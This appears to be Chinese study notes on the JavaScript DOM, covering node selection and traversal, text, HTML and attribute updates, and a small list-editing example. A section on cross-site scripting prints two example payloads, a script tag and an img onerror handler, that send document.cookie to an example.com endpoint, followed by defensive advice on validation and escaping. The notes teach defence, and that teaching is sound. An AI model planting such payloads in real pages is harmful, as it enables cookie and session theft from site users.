文章目录
5 文档对象模型
5.1 简介
- 作用:规定了浏览器应如何创建HTML页面的模型,以及JavaScript如何访问、修改浏览器窗口中的web页面的内容
- DOM不是HTML或者JavaScript的一部分,而是一系列独立的规则
- 规定HTML页面的模型
- 访问、修改HTML页面
- 人们把DOM称为API,
- 用户界面是人和程序之间交互的媒介,API是程序(以及脚本)之间的通信接口
5.2 DOM树
1)DOM树是web页面的模型
- HTML页面主体的组成节点
- 文档节点
- DOM树顶端的是文档节点,呈现为整个页面,相当于document对象
- 通过文档节点进行导航,访问元素、属性、文本节点
- 元素节点
- 找到所需元素,根据需要访问、修改文本和属性
- 属性节点
- HTML元素的开始标签中可以包含若干属性
- 属性节点不是字节点,而是这个元素的一部分
- 文本节点
- 访问元素节点时可以访问元素内部的文本,文本保存在其文本节点中
- 没有子节点,永远是DOM树的一个新分支,没有任何分支源于这个节点
- 文档节点
- 每个节点都是一个对象,拥有属性和方法
- 脚本可以访问、更新DOM树,而不是HTML源代码
- 针对DOM树的任何修改都会反映到浏览器中
2)DOM树的使用
<!-- HTML文件 -->
<ul>
<li id="one" class="hot"><em>fresh</em>figs</li>
<li id="two" class="hot">pine nuts</li>
<li id="three" class="hot">honey</li>
<li id="four">balsamic vinegar</li>
</ul>

-
步骤:访问元素、操作元素
-
访问元素
- 选择单个元素
- 使用元素的id属性:
getElementById('id')
(id属性在页面中应是唯一的)- 语法:
对象.方法
(如:document.getElementById('one')
)
- 语法:
- 使用CSS选择器:
querySelect('css选择器')
(返回第一个匹配的元素,只支持最新浏览器) - 遍历DOM树
- 使用元素的id属性:
- 选择多个元素
- 选择所有在class属性中使用了特定值的元素:
getElementsByClassName('class')
- 选择所有使用了指定标签名称的元素:
getElementsByTagName('tagname')
- 使用CSS选择器来选择所有匹配的元素:
querySelectorAll('css选择器')
(只支持最新浏览器) - NodeList
- 当一个DOM方法可以返回多个元素时,它会返回一个NodeList
- NodeList是一组元素节点的集合,每个节点都有索引编号
- NodeList实际上不是数组,是一种被称为“集合”的对象,有属性(如length)、方法(如item() )
- 动态、静态
- 动态NodeList
- 脚本更新页面后,NodeList同样进行更新
- 方法:以getElementsBy开头
- 静态NodeList
- 脚本更新页面后,NodeList不进行更新、不反映脚本所做的变更
- 方法:以querySelector开头
- 动态NodeList
- 从NodeList中选择元素
- 使用
item()
方法var elements = document.getElementsByClassName('hot'); //选择class属性值为 hot 的元素,结果 NodeList 保存在 elements 变量中 if(elements.length >= 1){ //先检查在NodeList中是否至少包含一个节点,减少资源浪费 //把 NodeList 中第一个元素保存在 firstItem 变量中 var firstItem = elements.item(0); }
- 使用数组语法(速度更快,推荐使用)
//数组语法简单例子 //选择class属性值为 hot 的元素,结果 NodeList 保存在 elements 变量中 var elements = document.getElementsByClassName('hot'); if(elements.length >= 1){ //先检查在NodeList中是否至少包含一个节点,减少资源浪费 //从 NodeList 中获取第一个元素,保存在 firstItem 变量中 var firstItem = elements[0]; }
//在整个 NodeList 中反复执行操作 // hotItems 包含一个 NodeList :包括所有class属性值为hot的列表项 var hotItems = document.querySelectorAll('li.hot'); for(var i=0;i<hotItems.length;i++){ //花括号中的语句,针对 NodeList 中每个语句依次执行 hotItems[i].className = 'cool'; }
- 使用
- 选择所有在class属性中使用了特定值的元素:
- 遍历DOM
- 选择当前元素的父节点:
parentNode
- 选择前一个/后一个兄弟节点:
previousSibling / nextSibling
- 返回当前元素的第一个/最后一个子节点:
firstChild / lastChild
- 说明
- 这些都是当前节点的属性,而不是方法,因此不以小括号结尾
- 若不存在前一个/后一个特定节点,结果为null
- 这些属性是只读的
- 空白节点
- 除IE浏览器外,绝大多数浏览器会把元素之间的空白(回车、换行等)当作文本节点处理
- 因此,遍历DOM使用的属性可能会返回不同的结果
- 选择当前元素的父节点:
- 选择单个元素
-
操作元素
- 文本节点
- 步骤:选择元素、使用
firstChild
属性获取文本节点、使用文本节点唯一属性nodeValue
获取文本 nodeValue
属性:允许访问、修改文本节点中的内容-
必须在文本节点上操作,而不是在包含文本的元素节点上操作
-
示例:使用
nodeValue
属性获取、修改内容<li id="one"><em>fresh</em>figs</li>
//访问第二个文本节点 //返回结果:figs document.getElementById('one').firstChild.nextSibling.nodeValue;
-
- 示例:访问、修改文本节点
var itemTwo = document.getElementById('two'); //获取第二个列表项 var elText = itemTwo.firstChild.nodeValue; //获取该元素的文本内容 elText = elText.replace('pine nuts','kale'); //使用String对象的replace()方法,将文本中的 pine nuts 替换为 kale itemTwo.firstChild.nodeValue = elText; //更新文本节点的内容
- 步骤:选择元素、使用
- HTML内容(操作DOM)
innerHTML
属性:访问子元素和文本内容- 示例:获取文本内容
<li id="one"><em>fresh</em> figs</li>
//获取<li>元素中的文本(同时忽略其中所有标签) //返回:fresh figs document.getElementById('one').textContent;
- 添加、移除HTML内容
- 方法1:
innerHTML
属性- 更适合用来更新整个片段
- 步骤
- 创建变量保存标签
- 选中需要更新内容的元素
- 使用新的标签更新选中元素的内容
- 示例:获取、更新列表项的内容
//获取列表项的内容,结果应返回:<em>fresh</em> figs var elContent = document.getElementById('one').innerHTML; //设置内容,将elContent变量中的内容添加到对应的列表项 document.getElementById('one').innerHTML = elContent;
//获取、保存第一个列表项 var firstItem = document.getElementById('one'); //获取该列表项的内容 var itemContent = firstItem.innerHTML; //更新该列表项的内容 firstItem.innerHTML = '<a href=\"https://example.org\">'+itemContent+'</a>';
- 方法2:DOM操作
- 易于针对DOM树中的独立节点
- 步骤
- 创建元素:
createElement()
- 设置内容:
createTextNode()
- 添加到DOM中:
appendChild()
- 从DOM中删除:
removeChild()
(使用一个参数:将要移除的元素)
- 创建元素:
- 示例:
- 把元素添加到DOM树中
//创建元素,用变量保存 var newEl = document.createElement('li'); //创建新的文本节点,用变量保存 var newText = document.createTextNode('quinoa'); //将文本附加到元素中 newEl.appendChild(newText); //找到应添加新元素的位置 var position = document.getElementByTagName('ul')[0]; //将新元素插入该位置 position.appendChild(newEl);
- 从DOM树中删除元素
//获取要移除的元素,用变量保存 var removeEl = document.getElementByTagName('li')[3]; //获取包含了要移除的节点的 ul 元素,用变量保存 var containerEl = removeEl.parentNode; //移除元素 //removeChild()使用的参数:保存在第一个变量中的将要移除的元素 containerEl.removeChild(removeEl);
- 把元素添加到DOM树中
- 方法1:
- 示例:获取文本内容
innerText
属性:避免使用(原因:支持情况、遵从CSS、性能较差)- 区别:
textContent
、innerText
//使用CSS规则隐藏<em>元素 var firstItem = document.getElementById('one'); //获取<li>元素 var showTextContent = firstItem.textContent; //获取textContent的值 var showInnerText = firstItem.innerText; //获取textContent的值 //将信息显示到网页上 //大多数浏览器中,textContent得到fresh figs,innerText得到figs(fresh被CSS隐藏) var msg='<p>textContent: '+showTextContent+'</p>'+'<p>innerText: '+showInnerText; var el = document.getElementById('scriptResult'); el.innerHTML = msg; firstItem.textContent = 'sourdough bread'; //更新第一个列表项的值
- 区别:
textContent
属性:仅访问文本内容createElement()
createTextNode()
属性:创建新的节点appendChild()
属性:添加节点removeChild()
属性:移除节点
- 属性值
className / id
:获取、更新class和id属性hasAttribute()
:检查属性是否存在getAttribute()
:获取属性值setAttribute()
:更新属性值removeAttribute()
:移除属性
- 文本节点
3)缓存DOM查询
- 例
// 在DOM树中遍历查找一个id属性值是one的元素 getElementById('one');
- 选择缓存:用一个变量存储DOM树中一个对象的引用
// 需要多次操作同一个元素时,应使用一个变量保存这个查询的结果 //itemOne并不存储元素,存储的是DOM树中这个元素的引用 //访问这个元素的文本内容:itemOne.textContent var itemOne = getElementById('one');
4)技术比较:更新HTML内容
document.write()
- 优点:快速、简单
- 缺点:
- 只在页面初始化加载时有效
- 在页面加载完后使用,会:
- 整个页面都被覆盖
- 不是向页面中添加内容
- 创建一个新的页面
- 在严格验证的XHTML中可能会遇到问题
- 较少使用
element.innerHTML
- 允许以字符串的方式,获取、更新元素中的整个内容(包括里面的标签)
- 优点:
- 使用更少的代码添加大量标签
- 添加大量元素时,速度较快
- 需要移除所有内容时更简单(直接设置空字符串)
- 缺点
- 不应用来添加来自用户输入的内容,可能会有严重的安全隐患
- 添加很大的DOM片段时,难独立区分出每一个元素
- 事件处理程序可能不像预期那样生效
- DOM操作
- 提供一组方法和属性,用来访问、创建、更新元素和文本节点
- 优点:
- DOM片段中有大量兄弟节点时,处理其中一个元素节点时更合适
- 不会影响事件处理程序
- 可以轻易地使用脚本来逐步添加元素
- 缺点:(相比innerHTML)
- 对页面进行大量修改时速度慢
- 需要使用更多的代码来实现同样的功能
5)跨网站脚本(XSS)攻击
-
如何发生
- 攻击者将恶意代码插入到网站中
-
攻击者能获取的信息(可能获取到用户的账号信息,进行违规操作)
- DOM信息(包括表单数据)
- 网站的cookie
- 会话令牌
-
恶意代码
- 通常是混合的HTML和JavaScript
- URL和CSS也可以触发XSS攻击
-
示例
<!-- 将cookie数据保存在一个变量中,这个变量可能被发送到第三方服务器 --> <script>var adr = 'htpp://example.com/xss.php?cookie='+escape(document.cookie);</script>
<!-- 一幅缺失的图片可以通过一个HTML属性触发恶意代码 --> <img src="http://nofile" οnerrοr="adr'http://example.com/xss.php?'+escape(document.cookie)";>
-
防范跨网站脚本攻击
-
XSS:校验和模板
- 对输入内容进行过滤/校验(确保用户只能输入必需的字符)
- 当用户需要提供特定类型的信息时,阻止用户在表单字段中输入非必需字符
- 限制用户内容在页面中的显示位置
- 不要把用户内容放在这些地方
- script标签:
<script> not here </script>
- HTML注释:
<!-- not here-->
- 标签名:
<not here href="/test" />
- 属性:
<div notHere="notHere" />
- CSS值:
{color: not here}
- script标签:
- 不要把用户内容放在这些地方
- 对输入内容进行过滤/校验(确保用户只能输入必需的字符)
-
XSS:转义和控制标签
- 转义用户的内容
- HTML:对字符进行转义,将其处理为显示字符(如:
&
显示为 &,>
显示为 >) - JavaScript:把所有非数字、字母的字符转义为小于256的ASCII码
- URL:使用JavaScript的
encodeURIComponent()
方法,对用户的输入进行编码
- HTML:对字符进行转义,将其处理为显示字符(如:
- 添加用户生成的内容
- JavaScript:使用
textContent
、innerContent
,不能使用innerHTML
- jQuery:使用
.text()
,不能使用.html()
- JavaScript:使用
- 转义用户的内容
-
属性节点
- 示例
//DOM查询找到元素节点 //使用方法获取HTML属性,返回其属性值 document.getElementById('one').getAttribute('class');
- 方法、属性
方法 说明 getAttribute() 获取属性值 hasAttribute() 检查元素节点是否包含特定属性 setAttribute() 设置属性值 removeAttribute() 移除属性 属性 说明 className 获取、设置class属性的值 id 获取、设置id属性的值 - 示例
-
示例
- 检查一个属性,并获取它的值
//获取元素节点 var firstItem = document.getElementById('one'); if(firstItem.hasAttribute('class')){ //如果此元素节点含有属性 class,获取该属性 var attr = firstItem.getAttribute('class'); //添加属性值到列表中 var el = document.getElementById('scriptResults'); el.innerHTML = '<p>'+'第一个列表项有一个属性名为:'+attr+'</p>'; }
- 创建属性,并更改其值
//获取元素节点 var firstItem = document.getElementById('one'); //更改其class属性 firstItem.className = 'complete'; //获取第四个元素节点 var el2 = document.getElementByTagName('li').item(3); //添加属性,setAttribute() 方法使用两个参数:属性名称、该属性的值 el2.setAttribute('class','cool');
- 移除属性
//获取元素节点 var firstItem = document.getElementById('one'); if(firstItem.hasAttribute('class')){ //如果该元素节点有class属性,则移除该属性 //removeAttribute() 方法使用一个参数:属性名称 firstItem.removeAttribute('class'); }
- 检查一个属性,并获取它的值
-
在浏览器中中检查DOM
- Chrome
- 打开开发者工具
- 显示
- 打开开发者工具
- Firefox
- 内置工具
- 在线搜索DOM inspector
- 扩展:Firebug
- 3D视图
- 内置工具
- Chrome
5.3 示例:文档对象模型
1)步骤及代码
- 在列表的开头和末尾各添加一个新项
- 添加到开头:
insertBefore()
方法- 把列表项添加到列表的开头处
- 包含两个参数
(newItem,target)
:需要把新元素添加到哪个元素之前
- 添加到末尾:
appendChild()
方法- 为父元素添加一个新的子节点,该子节点会成为父元素的最后一个子节点
- 包含一个参数
(newItem)
:需要被添加到DOM树中的新内容
- 添加到开头:
- 给所有元素设置class属性
- 循环遍历每一个
<li>
元素,将class属性值更新为cool
- 循环遍历每一个
- 在页面标头添加列表项的数量
- 获取页面标头
- 统计页面中
<li>
标签的数量 - 将数量添加到标头中
- 更新页面标头
- 代码
- example.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>DOM example</title> <link rel="stylesheet" href="example.css"> </head> <body> <div class="list"> <h2>标题</h2> <ul> <li class="one">第一个列表项</li> <li class="two">第二个列表项</li> <li class="three">第三个列表项</li> <li class="four">第四个列表项</li> </ul> </div> <script src="example.js"></script> </body> </html>
- example.css
.cool{ color: pink; }
- example.js
//将列表项保存到到list var list = document.getElementsByTagName('ul')[0]; //获取ul元素 //向list末尾添加新的列表项 var newItemLast = document.createElement('li'); //创建元素 var newTextLast = document.createTextNode('cream'); //创建文本节点 newItemLast.appendChild(newTextLast); //向元素中添加文本节点 list.appendChild(newItemLast); //向list末尾添加元素 //向list开头添加新的列表项 var newItemFirst = document.createElement('li'); //创建元素 var newTextFirst = document.createTextNode('kale'); //创建文本节点 newItemFirst.appendChild(newTextFirst); //向元素中添加文本节点 list.insertBefore(newItemFirst,list.firstChild); //向list开头添加元素 var listItems = document.querySelectorAll('li'); //获取所有li元素 //为所有列表项添加class属性cool for(var i=0;i<listItems.length;i++){ //遍历所有列表项 //更新所有列表项的class属性名 listItems[i].className = 'cool'; } //在标头添加列表项个数 var heading = document.querySelector('h2'); //获取h2元素 var headingText = heading.firstChild.nodeValue; //获取h2的文本内容 var totalItems = listItems.length; //获取li元素的个数 var newHeading = headingText+' 列表项个数:'+totalItems; //设置内容 heading.textContent = newHeading; //更新h2的内容
- example.html
2)运行结果
- 原始页面
- 在列表开头和结尾添加元素
- 更新所有列表项的class属性名
- 统计li元素个数,显示在标题后面